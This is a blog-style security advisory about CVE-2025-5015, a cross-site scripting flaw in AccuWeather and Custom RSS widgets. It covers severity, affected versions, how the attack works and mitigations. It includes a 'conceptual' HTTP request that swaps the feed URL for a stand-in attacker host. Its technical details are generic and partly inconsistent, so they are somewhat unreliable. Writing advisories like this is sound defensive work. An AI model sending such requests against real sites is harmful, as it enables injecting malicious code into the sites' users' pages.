{"id":56508,"date":"2025-07-01T18:54:59","date_gmt":"2025-07-01T18:54:59","guid":{"rendered":""},"modified":"2025-11-02T15:08:03","modified_gmt":"2025-11-02T21:08:03","slug":"cve-2025-5015-cross-site-scripting-vulnerability-in-accuweather-and-custom-rss-widget","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5015-cross-site-scripting-vulnerability-in-accuweather-and-custom-rss-widget\/","title":{"rendered":"<strong>CVE-2025-5015: Cross-Site Scripting Vulnerability in AccuWeather and Custom RSS Widget<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered every day. One such vulnerability that has recently come to light is the CVE-2025-5015, a cross-site scripting (XSS) issue affecting the AccuWeather and Custom RSS widgets. This vulnerability is a serious concern as it allows an unauthenticated user to replace the RSS feed URL with a malicious one, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4981-critical-file-extraction-vulnerability-in-mattermost-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"63094\">potentially leading<\/a> to system compromise or data leakage. Its severity and potential impact make it a significant threat to any organization using affected versions of these products.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-5015<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"68626\">System compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3169619030\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AccuWeather Widget | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"77965\">versions prior<\/a> to patch<br \/>\nCustom RSS Widget | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46715-kernel-pointer-vulnerability-in-sandboxie-versions-prior-to-1-15-12\/\"  data-wpil-monitor-id=\"82800\">versions prior<\/a> to patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53652-jenkins-git-parameter-plugin-unvalidated-input-vulnerability\/\"  data-wpil-monitor-id=\"68625\">unvalidated input<\/a> in the RSS feed URL field in the widget settings. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3498-unauthenticated-user-access-and-modification-of-radiflow-isap-smart-collector-configuration\/\"  data-wpil-monitor-id=\"92261\">unauthenticated user<\/a> can replace the legitimate RSS feed URL with a malicious one. When the widget fetches the RSS feed, it inadvertently pulls in and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49213-remote-code-execution-vulnerability-in-trend-micro-endpoint-encryption-policyserver\/\"  data-wpil-monitor-id=\"62916\">executes the malicious code<\/a> instead. This can allow the attacker to perform a variety of malicious actions, such as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5867-critical-vulnerability-in-rt-thread-5-1-0-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"63925\">compromising the system or exfiltrating sensitive data<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2325653754\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/widget\/settings HTTP\/1.1\nHost: target.example.com\n{ &quot;rss_feed_url&quot;: &quot;http:\/\/malicious.example.com\/feed&quot; }<\/code><\/pre>\n<p>In this example, the attacker replaces the &#8220;rss_feed_url&#8221; in the widget settings with a URL that points to a malicious RSS feed. When the widget fetches this feed, it <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49132-critical-arbitrary-code-execution-vulnerability-in-pterodactyl-game-server-management-panel\/\"  data-wpil-monitor-id=\"63289\">executes the malicious code<\/a> contained within.<\/p>\n<p><strong>Mitigation Steps<\/strong><\/p>\n<p>The recommended mitigation for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50213-special-element-injection-vulnerability-in-apache-airflow-providers-snowflake\/\"  data-wpil-monitor-id=\"64004\">vulnerability is to apply the patch provided<\/a> by the vendor. If the patch can&#8217;t be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6513-brain2-database-configuration-file-access-vulnerability-in-standard-windows-users\/\"  data-wpil-monitor-id=\"64521\">configured to detect and block attempts to exploit this vulnerability<\/a>. Additionally, regular <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84117\">monitoring and auditing of the system logs<\/a> can help detect any successful exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered every day. One such vulnerability that has recently come to light is the CVE-2025-5015, a cross-site scripting (XSS) issue affecting the AccuWeather and Custom RSS widgets. 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